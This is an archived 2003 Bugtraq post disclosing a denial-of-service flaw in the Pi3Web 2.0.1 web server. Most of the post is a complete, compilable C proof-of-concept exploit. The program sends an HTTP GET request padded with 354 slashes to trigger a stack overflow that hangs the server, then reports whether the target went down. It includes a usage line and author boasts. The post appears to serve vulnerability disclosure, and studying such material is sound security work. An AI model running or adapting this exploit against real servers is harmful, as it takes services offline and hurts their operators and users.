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TUCoPS :: Web :: Servers :: bt1464.txt

Pi3Web 2.0.1 DoS






----- Original Message -----
From: "aT4r InsaN3" <at4r@hotmail.com>
To: <bugtraq@securityfocus.com>
Sent: Monday, April 28, 2003 10:17 AM
Subject: Pi3Web 2.0.1 DoS


> /* Pi3Web 2.0.1 DoS - Pr00f of concept.
> *
> * Vulnerable systems: Pi3Web 2.0.1 (maybe others)
> * Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
> * Patch: no yet.
> *
> * Info: Pi3Web Server is vulnerable to a denial of Service.
> * when a malformed HTTP Request is done the webserver hangs due to an
stack
> overflow.
> * GET /////////..[354]../////////
> *
> * Found by aT4r@3wdesign.es  04/26/2003
> * Copyright (c) 2003 www.3wdesign.es Security
> * THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
> * USE IT AT YOUR OWN RISK.
> *
> * #haxorcitos @ efnet Rocks!!!
> * Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
> * Compiled with: lcc-win32 v3.3.
> *
> */
> #pragma comment (lib,"ws2_32")
> #include <stdio.h>
> #include <windows.h>
> #include <winsock2.h>
> #include <string.h>
>
> char evilbuffer[1024],evilrequest[512],ip[15];
> short port=80;
>
>
> int isalive(int OPT)
> {
> struct sockaddr_in haxorcitos;
> int fd;
>
> haxorcitos.sin_port = htons(port);
> haxorcitos.sin_family = AF_INET;
> haxorcitos.sin_addr.s_addr = inet_addr(ip);
>
> if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
> {
> printf(" [-] Unable to Create Socket\n\n");
> return(0);
> }
> if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
> {
> if (OPT==0)
> printf(" [+] Exploit Success. Remote webserver shutdown\n");
> else
> printf(" [-] Unable to connect\n\n");
> return(0);
> }
> if (OPT==0)
> {
> printf(" [-] Exploit Failed. System Patched?\n\n");
> }
> else
> {
> send(fd,evilbuffer, strlen(evilbuffer),0);
> printf(" [+] Data Sent. Now Checking Host\n");
> closesocket(fd);
>
> }
> return(1);
> }
>
>
> void usage(void)
> {
> printf(" [+] Usage: PiDoS.exe HOST [port]\n\n"); exit(1);
> }
>
>
> void main(int argc,char *argv[])
> {
> WSADATA ws;
>
> if (WSAStartup( MAKEWORD(1,1), &ws )!=0)
> {
> printf(" [+] WSAStartup() error\n");
> exit(0);
> }
>
> printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :...
> ..\n\n");
>
> if ((argc!=2) && (argc!=3))
> usage();
>
> strcpy(ip,argv[1]);
> if (argc==3) port=atoi(argv[2]);
>
> memset(evilrequest,0,512);
> memset(evilbuffer,0,1024);
> memset(evilrequest,'/',354);
> //sprintf(evilbuffer, "GET %s\r\n",evilrequest);
> sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost:
> %s\r\n\r\n\r\n",evilrequest,argv[2]);
>
> if (isalive(1))
> { sleep(1000); isalive(0);}
>
> }
>
>
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